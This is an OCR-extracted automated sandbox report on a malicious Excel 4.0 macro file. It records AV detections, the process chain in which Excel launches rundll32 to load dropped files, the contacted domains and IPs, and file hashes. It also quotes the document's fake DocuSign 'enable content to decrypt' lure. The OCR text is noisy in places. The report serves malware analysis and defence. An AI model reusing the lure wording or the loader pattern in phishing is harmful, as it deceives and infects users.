JOESandbox Cloud ™=

ID: 412973

Sample Name: diagram-
419065597 .xIs

Cookbook:
defaultwindowsofficecookbook.jbs
Time: 05:15:16

Date: 13/05/2021

Version: 32.0.0 Black Diamond



Table of Contents

Table of Contents
Analysis Report diagram-419065597 .xls

Overview
General Information
Detection
Signatures
Classification
Startup
Malware Configuration
Yara Overview

Sigma Overview
System Summary:
Signature Overview
AV Detection:
Software Vulnerabilities:
System Summary:
Mitre Att&ck Matrix
Behavior Graph

Screenshots
Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection
Initial Sample
Dropped Files
Unpacked PE Files
Domains
URLs
Domains and IPs
Contacted Domains
URLs from Memory and Binaries
Contacted IPs

Qoo W N~N~N~N~N~NooogadaooaoadsBdADMDMDMNALMANNND DN

Public

General Information
Simulations 10
Behavior and APIs 10
Joe Sandbox View / Context 10
IPs 10
Domains 10
ASN 10
JA3 Fingerprints 11
Dropped Files 12
Created / dropped Files 12
Static File Info 16
General 16
File Icon 16
Static OLE Info 16
General 16
OLE File "diagram-419065597 .xIs" 16
Indicators 16
Summary 16
Document Summary 17
Streams 17
Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096 17
General 17
Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096 17
General 17
Stream Path: Book, File Type: Applesoft BASIC program data, first line number 8, Stream Size: 363297 17
General 17
Macro 4.0 Code 17

Copyright Joe Security LLC 2021 Page 2 of 41



Network Behavior 18

Network Port Distribution 18
TCP Packets 18
UDP Packets 19
DNS Queries 19
DNS Answers 19
HTTPS Packets 19
Code Manipulations 20
Statistics 20
Behavior 20
System Behavior 20
Analysis Process: EXCEL.EXE PID: 648 Parent PID: 584 20
General 20

File Activities 21

File Created 21

File Deleted 22

File Moved 22

File Written 22

File Read 30
Registry Activities 30

Key Created 30

Key Value Created 31
Analysis Process: rundll32.exe PID: 1984 Parent PID: 648 40
General 40

File Activities 41
Analysis Process: rundll32.exe PID: 2672 Parent PID: 648 41
General 41

File Activities 41
Disassembly 41
Code Analysis 41

Copyright Joe Security LLC 2021 Page 3 of 41



Analysis Report diagram-419065597.xls
Overview

General Information Detection Signatures Classification

Sample diagram-419065597.xls
Name: MALICIOUS

Analysis ID: 412973

Multi AV Scanner detection for subm...

Office document tries to convince Vvi...

MD5: .
€c968745c407ee.. Document exploit detected (UrlDown...
SHA1L:
922818d6a781b3.. Document exploit detected (process...
SHA256: 431c2a2e6969ba. . : e
Found Excel 4.0 Macro with suspicio...
Infos: ;f pi3 & HH]

Found abnormal large hidden Excel ...

Most interesting Screenshot:
Sigma detected: Microsoft Office Pr...

Document containsiembedded VBA ...

W"S'fwk ":éé’u";ﬁi“-‘?igf?.‘i“!’:'wi‘;z" N -
mmm————— Hidden Mac 4.0 JAB SSL client fingerprint SEeniin cox..

w1 coor e . ot Score: 76 Potential document exploit:detected...
Range: 0-100 Potential/decument exploit detected.:
DocuSuan Whitelisted: false
N X Potential documentexploitdetected...
: The GloblStandard for eignaturs Confidence: 100%
ﬁig Selel= : s |
Startup

= System is w7x64

. EXCEL.EXE (PID: 648 cmdline: 'C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE' /automation -Embedding MD5: 5FBOAOF93382ECD19F5F499A5CAA59F0)
. D rundll32.exe (PID: 1984 cmdline: rundll32 ..\ritofm.cvm,DIIRegisterServer MD5: DD81D91FF3B0763C392422865C9AC12E)
. D rundll32.exe (PID: 2672 cmdline: rundll32 ..\ritofm.cvm1,DIIRegisterServer MD5: DD81D91FF3B0763C392422865C9AC12E)

= cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

System Summary:

Signature Overview
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g

Click to jump to signature section

AV Detection:

@ AV Detection
® Compliance
@ Software Vulnerabilities

@ Networking

@ System Summary
@ Hooking and other Techniques for Hiding and Protection

Multi AV Scanner detection for submitted file

Software Vulnerabilities:

System Summary:

Mitre Att&ck Matrix

Initial Privilege  Defense Credential
Access Execution Persistence Escalation Evasion Access
Valid Scripting Path Process Masquerading oS
Accounts Interception  Injection Credential
Dumping
Default  Exploitation for Boot or Boot or Disable or Modify LSASS
Accounts Client Logon Logon Tools Memory
Execution Initialization  Initialization
Scripts Scripts

Domain At (Linux) Logon Script Logon RundlI32 Security
Accounts (Windows)  Script Account

(Windows) Manager
Local At (Windows)  Logon Script Logon Process NTDS
Accounts (Mac) Script Injection

(Mac)
Cloud Cron Network Network Scripting LSA
Accounts Logon Script Logon Secrets

Script

Behavior Graph
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Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Legend:
Behavior Graph l:‘
Process

ID: 412973
Sample: diagram-419065597.xls . Signature
Startdate: 13/05/2021 CLEAN . Created File

Architecture:  WINDOWS

UNKNOWN . DNS/IP Info

ﬂ Is Dropped
k Is Windows Process

Score: 76

+ Number of created Registry Values
started -
. Number of created Files
29 visual Basic
IC

Delphi

WIEUAL

Ei

-_—

111

ép, Java
VW Net C#or VB.NET

G C, C++ or other language

Is malicious

Internet
stateoftheartacademy.com.br dsafarm.com

108.167.180.130, 443, 49167 208.91.198.131, 443, 49170
UNIFIEDLAYER-AS-1US PUBLIC-DOMAIN-REGISTRYUS
United States ES United States ES

ac rundli32.exe :'. a" rundli32.exe ’..

e C

started started
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diagram 419065597 [Compatibility Mode] - Microsoft Excel - diagram-419065597 [Compatibility Mode] o @ o®
Home | Inset  Pagelayout  Formulas Data Review  View 2@ o @ =

& cut . . = _ = = == ¥ AutoSum ~
oy - Calibri - 11 == _ S Wrap Text General - B 4 = JI' r\ d - 7

B I U-|i S MergeacCenter = § - % » | %3 9 | Conditional Format Cell | Insert Delete Format Sort & Find &
 Format Painter = = N =% | Formatting - as Table - Styles = | - - - Qe Fifter~ Select-

Clipboard ] Font Alignment Humber Styles Cells Editing

FA

c D

HNH

Docus ; THIS DOCUMENT IS ENCRYPTED BY
s DOCUSIGN® PROTECT SERVICE

PERFORM THE FOLLOWING STEPS TO PERFORM DECRYPTION

wlw|w e e

E] If this document was downloaded from Email, please click Enable Editing
from the yellow bar above

E] Once You have Enable Editing, please click Enable Content
from the yellow bar above

WHY | CANNOT OPEN THIS DOCUMENT?

You are using iQS or Android, please use Desktop PC

You are trying to view this document using Online Viewer

W ¥ M| Docl /TJ
= r
Ready | | M 100% (=

@ o o € € S

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link

diagram-419065597.xIs 15% ReversingLabs Document-
Office.Downloader.EncDoc

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

Source Detection Scanner Label Link
stateoftheartacademy.com.br 0% Virustotal Browse
dsafarm.com 1% Virustotal Browse
URLs

Source Detection Scanner Label Link
hitp://iwww.icra.org/vocabulary/. 0% URL Reputation safe
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https://www.virustotal.com/gui/url/dc8d378024585c8609227b52301a193b4e7378b32ddf7b9f40d755dd5cb5d567/detection/u-dc8d378024585c8609227b52301a193b4e7378b32ddf7b9f40d755dd5cb5d567-1620863329
https://www.virustotal.com/gui/url/bbd7d0d720d8f3b979c2caa23f41d6ba78bcbaec16ec7a2fad0cd3f08458373c/detection/u-bbd7d0d720d8f3b979c2caa23f41d6ba78bcbaec16ec7a2fad0cd3f08458373c-1620863328

Source

hitp://iwww.icra.org/vocabulary/.

hitp://iwww.icra.org/vocabulary/.

hitp://iwww.icra.org/vocabulary/.
hitp://\windowsmedia.com/redir/services.asp?WMPFriendly=true
hitp://\windowsmedia.com/redir/services.asp?WMPFriendly=true
hitp://\windowsmedia.com/redir/services.asp?WMPFriendly=true

hitp://\windowsmedia.com/redir/services.asp?WMPFriendly=true

Domains and IPs

Contacted Domains

Name
stateoftheartacademy.com.br

dsafarm.com

URLs from Memory and Binaries

Name

hitp://services.msn.com/svcs/oe/certpage.asp?
name=%s&email=%s&&Check

hitp:/f/www.windows.com/pctv.

hitp://investor.msn.com

hitp:/f/www.msnbc.com/news/ticker.txt

hitp://iwww.icra.org/vocabulary/.

hitp://iwindowsmedia.com/redir/services.asp?

WMPFriendly=true

hitp:/fiwww.hotmail.com/oe

hitp://investor.msn.com/

Contacted IPs

Copyright Joe Security LLC 2021

Active
108.167.180.130 true
208.91.198.131 true

Source

rundll32.exe, 00000003.0000000
2.2121014308.0000000001D17000.
00000002.00000001.sdmp, rundl32.exe,
00000004.00000002.2113474322.000
0000001D97000.00000002.0000000
1.sdmp

rundll32.exe, 00000004.0000000
2.2113337794.0000000001BB0000.
00000002.00000001.sdmp

rundll32.exe, 00000003.0000000
2.2120674840.0000000001B30000.
00000002.00000001.sdmp, rundl32.exe,
00000004.00000002.2113337794.000
0000001BB0000.00000002.0000000
1.sdmp

rundll32.exe, 00000003.0000000
2.2120674840.0000000001B30000.
00000002.00000001.sdmp, rundl32.exe,
00000004.00000002.2113337794.000
0000001BB0000.00000002.0000000
1.sdmp

rundll32.exe, 00000003.0000000
2.2121014308.0000000001D17000.
00000002.00000001.sdmp, rundl32.exe,
00000004.00000002.2113474322.000
0000001D97000.00000002.0000000
1.sdmp

rundll32.exe, 00000003.0000000
2.2121014308.0000000001D17000.
00000002.00000001.sdmp, rundl32.exe,
00000004.00000002.2113474322.000
0000001D97000.00000002.0000000
1.sdmp

rundll32.exe, 00000003.0000000
2.2120674840.0000000001B30000.
00000002.00000001.sdmp, rundl32.exe,
00000004.00000002.2113337794.000
0000001BB0000.00000002.0000000
1.sdmp

rundll32.exe, 00000003.0000000
2.2120674840.0000000001B30000.
00000002.00000001.sdmp, rundl32.exe,
00000004.00000002.2113337794.000
0000001BB0000.00000002.0000000
1.sdmp

Detection
0%
0%
0%
0%
0%
0%
0%

Malicious
false

false

Malicious

false

false

false

false

false

false

false

false

Scanner

URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation

Antivirus Detection
e 0%, Virustotal, Browse

1%, Virustotal, Browse

Antivirus Detection

URL Reputation:
URL Reputation:
URL Reputation:
URL Reputation:

e o o o

URL Reputation:
URL Reputation:
URL Reputation:
URL Reputation:

e o o o

Label
safe
safe
safe
safe
safe
safe

safe

safe
safe
safe
safe

safe
safe
safe
safe

Link

Reputation
unknown

unknown

Reputation

high

high

high

high

unknown

unknown

high

high
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https://www.virustotal.com/gui/url/dc8d378024585c8609227b52301a193b4e7378b32ddf7b9f40d755dd5cb5d567/detection/u-dc8d378024585c8609227b52301a193b4e7378b32ddf7b9f40d755dd5cb5d567-1620863329
https://www.virustotal.com/gui/url/bbd7d0d720d8f3b979c2caa23f41d6ba78bcbaec16ec7a2fad0cd3f08458373c/detection/u-bbd7d0d720d8f3b979c2caa23f41d6ba78bcbaec16ec7a2fad0cd3f08458373c-1620863328

] No. of IPs < 25%
B 25% < No. of IPs < 50%
B 50% < No. of IPs < 75%
Bl 75% <No. of IPs

Public

P Domain

108.167.180.130
br

208.91.198.131 dsafarm.com

General Information

Joe Sandbox Version:

Analysis ID:

Start date:

Start time:

Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Number of analysed new started processes analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:

Classification:

Copyright Joe Security LLC 2021

Country

stateoftheartacademy.com. United States

United States

Flag

=

ASN
46606

394695

ASN Name
UNIFIEDLAYER-AS-1US

PUBLIC-DOMAIN-
REGISTRYUS

32.0.0 Black Diamond
412973

13.05.2021

05:15:16

CloudBasic

Oh 6m 19s

false

light
diagram-419065597.xls

defaultwindowsofficecookbook.jbs

Malicious

false

false

Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52,
Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127,

Java 8 Update 121, .NET 4.6.2)
7

o O o o

e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled

default

Timeout

MAL
mal76.expl.evad.winXLS@5/11@2/2
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EGA Information:
HDC Information:

HCA Information:

Cookbook Comments:

Warnings:

Simulations

Behavior and APIs

No simulations

Joe Sandbox View | Context

IPs
Match

108.167.180.130
208.91.198.131

Domains

No context

ASN

Match
PUBLIC-DOMAIN-REGISTRYUS

Copyright Joe Security LLC 2021

Associated Sample Name /| URL SHA 256
Get hash
Get hash

Get hash

Associated Sample Name /| URL SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

Get hash
Get hash
Get hash

Failed

Failed

Successful, ratio: 100%
Number of executed functions: 0
Number of non-executed functions: 0

Adjust boot time

Enable AMSI

Found application associated with file extension:
xls

e Found Word or Excel or PowerPoint or XPS Viewer
e Found warning dialog
e Click Ok
e Attach to Office via COM
e Scroll down
e Close Viewer
Show All
e Excluded IPs from analysis (whitelisted):
192.35.177.64, 205.185.216.42, 205.185.216.10,
93.184.221.240
* Excluded domains from analysis (whitelisted):
wu.ec.azureedge.net,
audownload.windowsupdate.nsatc.net,
au.download.windowsupdate.com.hwcdn.net,
csll.wpc.vOcdn.net, apps.digsigtrust.com, hib.apr-
52dd2-0.edgecastdns.net,
ctldl.windowsupdate.com,
cds.d2s7g6s2.hwedn.net, wu.wpc.apr-
52dd2.edgecastdns.net, apps.identrust.com, au-bg-
shim.trafficmanager.net, wu.azureedge.net
e Report size getting too big, too many
NtDeviceloControlFile calls found.
Detection Link Context
malicious Browse
malicious Browse
malicious Browse
Detection Link Context
malicious Browse e 208.91.199.224
malicious Browse e 199.79.62.225
malicious Browse e 208.91.199.224
malicious Browse e 208.91.199.223
malicious Browse e 208.91.199.224
malicious Browse e 103.21.59.173
malicious Browse e 162.215.24
1.145
malicious Browse e 199.79.62.12
malicious Browse e 199.79.62.12
malicious Browse e 119.18.54.126

Page 10 of 41


https://view.joesandbox.com/analysis/173185/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/173185/html/none?idtype=webid
https://view.joesandbox.com/analysis/62877/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/62877/html/none?idtype=webid
https://view.joesandbox.com/analysis/62876/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/62876/html/none?idtype=webid
https://view.joesandbox.com/analysis/321266/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/321266/html/none?idtype=webid
https://view.joesandbox.com/analysis/321153/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/321153/html/none?idtype=webid
https://view.joesandbox.com/analysis/321087/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/321087/html/none?idtype=webid
https://view.joesandbox.com/analysis/321023/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/321023/html/none?idtype=webid
https://view.joesandbox.com/analysis/320922/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320922/html/none?idtype=webid
https://view.joesandbox.com/analysis/320819/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320819/html/none?idtype=webid
https://view.joesandbox.com/analysis/320709/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320709/html/none?idtype=webid
https://view.joesandbox.com/analysis/320566/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320566/html/none?idtype=webid
https://view.joesandbox.com/analysis/320559/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320559/html/none?idtype=webid
https://view.joesandbox.com/analysis/320398/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320398/html/none?idtype=webid

Match

UNIFIEDLAYER-AS-1US

JA3 Fingerprints

Match
7dcce5b76c8b17472d024758970a406b

Copyright Joe Security LLC 2021

Associated Sample Name /| URL

Associated Sample Name /| URL

SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

Get hash
Get hash
Get hash
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Detection
malicious
malicious
malicious
malicious
malicious

malicious

malicious

malicious
malicious
malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Detection

malicious

malicious

malicious

malicious

malicious

Link

Browse
Browse
Browse
Browse
Browse

Browse

Browse

Browse
Browse
Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Link

Browse

Browse

Browse

Browse

Browse

Context

116.206.104.92
116.206.104.66
208.91.198.143
208.91.199.224
208.91.199.224

162.222.22
5.153

162.222.22
5.153

103.21.58.29
208.91.198.143
208.91.199.225

162.241.20
9.225

162.241.20
9.225

162.241.20
9.225

162.241.20
9.225

162.241.20
9.225
162.241.20
9.225

162.241.20
9.225

162.241.20
9.225

162.241.20
9.225

162.241.20
9.225

162.241.20
9.225

162.241.20
9.225

162.241.20
9.225

162.241.20
9.225

162.241.20
9.225

162.241.20
9.225

162.241.20
9.225

162.241.20
9.225

162.241.20
9.225

162.241.20
9.225

Context

108.167.18
0.130
208.91.198.131

108.167.18
0.130
208.91.198.131

108.167.18
0.130
208.91.198.131

108.167.18
0.130
208.91.198.131

108.167.18
0.130
208.91.198.131
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https://view.joesandbox.com/analysis/320296/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320296/html/none?idtype=webid
https://view.joesandbox.com/analysis/320292/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320292/html/none?idtype=webid
https://view.joesandbox.com/analysis/320281/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320281/html/none?idtype=webid
https://view.joesandbox.com/analysis/320277/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320277/html/none?idtype=webid
https://view.joesandbox.com/analysis/320273/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320273/html/none?idtype=webid
https://view.joesandbox.com/analysis/320257/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320257/html/none?idtype=webid
https://view.joesandbox.com/analysis/320244/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320244/html/none?idtype=webid
https://view.joesandbox.com/analysis/320237/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320237/html/none?idtype=webid
https://view.joesandbox.com/analysis/320210/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320210/html/none?idtype=webid
https://view.joesandbox.com/analysis/320142/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320142/html/none?idtype=webid
https://view.joesandbox.com/analysis/321474/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/321474/html/none?idtype=webid
https://view.joesandbox.com/analysis/321473/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/321473/html/none?idtype=webid
https://view.joesandbox.com/analysis/321472/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/321472/html/none?idtype=webid
https://view.joesandbox.com/analysis/321471/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/321471/html/none?idtype=webid
https://view.joesandbox.com/analysis/321470/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/321470/html/none?idtype=webid
https://view.joesandbox.com/analysis/321469/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/321469/html/none?idtype=webid
https://view.joesandbox.com/analysis/321466/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/321466/html/none?idtype=webid
https://view.joesandbox.com/analysis/321465/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/321465/html/none?idtype=webid
https://view.joesandbox.com/analysis/321464/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/321464/html/none?idtype=webid
https://view.joesandbox.com/analysis/321463/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/321463/html/none?idtype=webid
https://view.joesandbox.com/analysis/321462/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/321462/html/none?idtype=webid
https://view.joesandbox.com/analysis/321461/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/321461/html/none?idtype=webid
https://view.joesandbox.com/analysis/321460/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/321460/html/none?idtype=webid
https://view.joesandbox.com/analysis/321457/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/321457/html/none?idtype=webid
https://view.joesandbox.com/analysis/321456/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/321456/html/none?idtype=webid
https://view.joesandbox.com/analysis/321455/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/321455/html/none?idtype=webid
https://view.joesandbox.com/analysis/321454/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/321454/html/none?idtype=webid
https://view.joesandbox.com/analysis/321452/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/321452/html/none?idtype=webid
https://view.joesandbox.com/analysis/321450/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/321450/html/none?idtype=webid
https://view.joesandbox.com/analysis/321448/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/321448/html/none?idtype=webid
https://view.joesandbox.com/analysis/321390/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/321390/html/none?idtype=webid
https://view.joesandbox.com/analysis/321168/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/321168/html/none?idtype=webid
https://view.joesandbox.com/analysis/321155/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/321155/html/none?idtype=webid
https://view.joesandbox.com/analysis/321057/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/321057/html/none?idtype=webid
https://view.joesandbox.com/analysis/320932/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320932/html/none?idtype=webid

Match

Associated Sample Name /| URL SHA 256 Detection Link Context

Get hash malicious Browse e 108.167.18
0.130
e 208.91.198.131

Get hash malicious Browse e 108.167.18
0.130
e 208.91.198.131

Get hash malicious Browse e 108.167.18
0.130
e 208.91.198.131

Get hash malicious Browse e 108.167.18
0.130
e 208.91.198.131

Get hash malicious Browse e 108.167.18
0.130
e 208.91.198.131

Get hash malicious Browse e 108.167.18
0.130
e 208.91.198.131

Get hash malicious Browse e 108.167.18
0.130
e 208.91.198.131

Get hash malicious Browse e 108.167.18
0.130
208.91.198.131

Get hash malicious Browse e 108.167.18
0.130
e 208.91.198.131

Get hash malicious Browse e 108.167.18
0.130
e 208.91.198.131

Get hash malicious Browse e 108.167.18
0.130
e 208.91.198.131

Get hash malicious Browse e 108.167.18
0.130
e 208.91.198.131

Get hash malicious Browse e 108.167.18
0.130
e 208.91.198.131

Get hash malicious Browse e 108.167.18
0.130
e 208.91.198.131

Get hash malicious Browse e 108.167.18
0.130
e 208.91.198.131

Dropped Files

No context

Created / dropped Files

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Reputation:

C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

Microsoft Cabinet archive data, 59863 bytes, 1 file

dropped

59863

7.99556910241083

true
1536:Gs6cdy9E/ABKQPOrdweEz480zdPMHXNY/gLHfIZN:GNOqOrdDdJPAX1LHA/
15775D95513782F99CDFB17E65DFCEBL
6C11F8BEE799B093F9FF4841E31041B081B23388
477A9559194EDF48848FCE59E05105168745A46BDC0871EA742A2588CA9FBEOO

ACO09CE01122D7A837BD70277BADD58FF71D8C5335F8FC599D5E3ED42C8FEE2108DD043BCES62C82BA12A81B9B08BD24B961C0961BF8FD3A0B8341C87483CD
E7

false

moderate, very likely benign file
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https://view.joesandbox.com/analysis/320918/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320918/html/none?idtype=webid
https://view.joesandbox.com/analysis/320906/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320906/html/none?idtype=webid
https://view.joesandbox.com/analysis/320850/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320850/html/none?idtype=webid
https://view.joesandbox.com/analysis/320844/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320844/html/none?idtype=webid
https://view.joesandbox.com/analysis/320783/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320783/html/none?idtype=webid
https://view.joesandbox.com/analysis/320759/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320759/html/none?idtype=webid
https://view.joesandbox.com/analysis/320695/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320695/html/none?idtype=webid
https://view.joesandbox.com/analysis/320559/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320559/html/none?idtype=webid
https://view.joesandbox.com/analysis/320546/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320546/html/none?idtype=webid
https://view.joesandbox.com/analysis/320479/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320479/html/none?idtype=webid
https://view.joesandbox.com/analysis/320460/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320460/html/none?idtype=webid
https://view.joesandbox.com/analysis/320446/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320446/html/none?idtype=webid
https://view.joesandbox.com/analysis/320430/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320430/html/none?idtype=webid
https://view.joesandbox.com/analysis/320413/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320413/html/none?idtype=webid
https://view.joesandbox.com/analysis/320371/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320371/html/none?idtype=webid

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUriCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 E

Preview:

..... b........R.i .authroot.stl.qgp.4..CK..8T....c_.d... A F...m"...AH)-.%.QIR..$t)Kd.-QQ*..~.L.2.L.......sx.}...~....$....yy.A.8;....|.%0OV.a0xN...
1Qj,.p.E.y..ac’.<.e.c.aZW..B.jy...\|..+)....r.X:.0.. .Y..jA8C........ n7R...p!_.+.<.AWt=. .sV..".90..CD./.s.\#.t#..s..Jeiu..B$.....8..(g..tJ....=,....d.].xgX4....... g.
IF..Mny"W.R...K\.P.n._.7........@pm.. Q....(#.....=.)...1.kC.".....AP8.A..<...7S.L....S..A.R.).hgS...DK.6.j....u_.0.(4g....!,,.L"......h:.a]2.....39.\.Ww........ %........ 4E...
....0.QA.0.M<.&"aD... PO TP WY s W > VIUR Wz DseZ e N<.d.?<...b..,..n..... ...YK.X..0..Z ...9.3.+9T.%.l..5.YK.E.V...aD.0...Y../e.7...c.
gocALmL U2, X~ 00\ =& Vel 2028 ST ?ML L QHLB <.(t..883..u[.N8gL.%...v...f..W.y...cz-.EQ.....c...0..N........ D*....cool 2.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUriCache\Content\EOF5C59F9FA661F6F4C50B87FEF3A15A

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: data

Category: dropped

Size (bytes): 893

Entropy (8bit): 7.366016576663508

Encrypted: false

SSDEEP: 24:hBntmDvKUQQDVKUr7C5fpgp8gPvXHmMXvponXux:3ntmD5QQD5XC5RgHHXmMXvp++x

MD5: D4AE187B4574036C2D76B6DF8ABC1A30

SHAL: BO6F409FA14BAB33CBAF4A37811B8740B624D9E5S

SHA-256: A2CE3AOFA7D2A833D1801E01EC48E35B70D84F3467CCIF8FAB370386E13879C7

SHA-512: 1F44A360E8BBBADA22BC5BFE001F1BABB4E72005A46BC2A94C33C4BD149FF256 CCE6F35D65CA4F7FC2A5B9E15494155449830D2809C8CF218D0BI196ECE46B
C

Malicious: false

Reputation: high, very likely benign file

Preview:

..0...*8.y.1.P..e.Qc...a.Ka..Rk...K.(.H
00U {,9...K.u..."...0..*H..... L7 2KL YD > Kt~ K
X..gvgx...V..9%$1...Z0G..P....... dc'........ }...=2.e. | Wv..(9..e..w.j.w......)...55.1.

C:\Users\luser\AppData\LocalLow\Microsoft\CryptnetUriCache\MetaData\77EC63BDA74BDOD0E0426DC8F8008506

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: data

Category: dropped

Size (bytes): 326

Entropy (8bit): 3.149293041712096

Encrypted: false

SSDEEP: 6:kKupkQSN+SkQIPIEGYRMY9z+4KIDA3RUeSKyzkOt:2phZkPIE99SNXAhUeSKO

MD5: ECD3D1AF4E4373E0181DFBOB1FA2CCOF

SHA1L: D2064794D7D6789E2FCD07E03B8965FFF478BFES

SHA-256: 49B62B2249AFE948DF7FECB5CDIC8C16B32D40857BAC6A55B8CIC81CACIEATDC

SHA-512: AF94F836572D477252D25C8628BAC820540F60853B5E6C33E86BID6C5879D2D43DBA48CCA32F40451F1D19F1995C35F8519DEC8BECAATADAED323B3D781BAF
9

Malicious: false

Reputation: low

Preview:
Peeees e Gttt e Y5.....$............httpo//lctldl. windows.up.date..com/ms.dow.nlo.ad/u.pdate/v3.ls

tatic/trustedr/en/authro.o.ts.tl.ca.b.."8.0f8.8.3.59.354d.7.1..0."..

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUriICache\MetaData\EOF5C59F9FA661F6F4C50B87FEF3A15A

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: data

Category: dropped

Size (bytes): 252

Entropy (8bit): 2.993334444389092

Encrypted: false

SSDEEP: 3:KKkFKIGKfIIXIE/[QEBIIPIzZRkwWBARLNDU+ZMIKIBkvclcMIVHbIB1FfISnPWIP1:kKhZQE1liIBAIdQZV7ulPPN

MDS5: E2B0359C2946B2A83C00D72E7E7FF482

SHA1L: 590FC172CD2BDB299D90A5751C7AB67B5C8C09A0

SHA-256: 346AFB6BCF970C31656589832060D8A0514D1F1968B086171886AA0FD179A6D5

SHA-512: ABD758F7BEE2B8EF727C3F55B20763DEF69EOEFD299040EDA15C48E79CE7738A142C18B280C4CF7B42D6877063CC808FAEC9822F1FD79257113C97404D2FE0/
6

Malicious: false

Reputation: low

Preview:
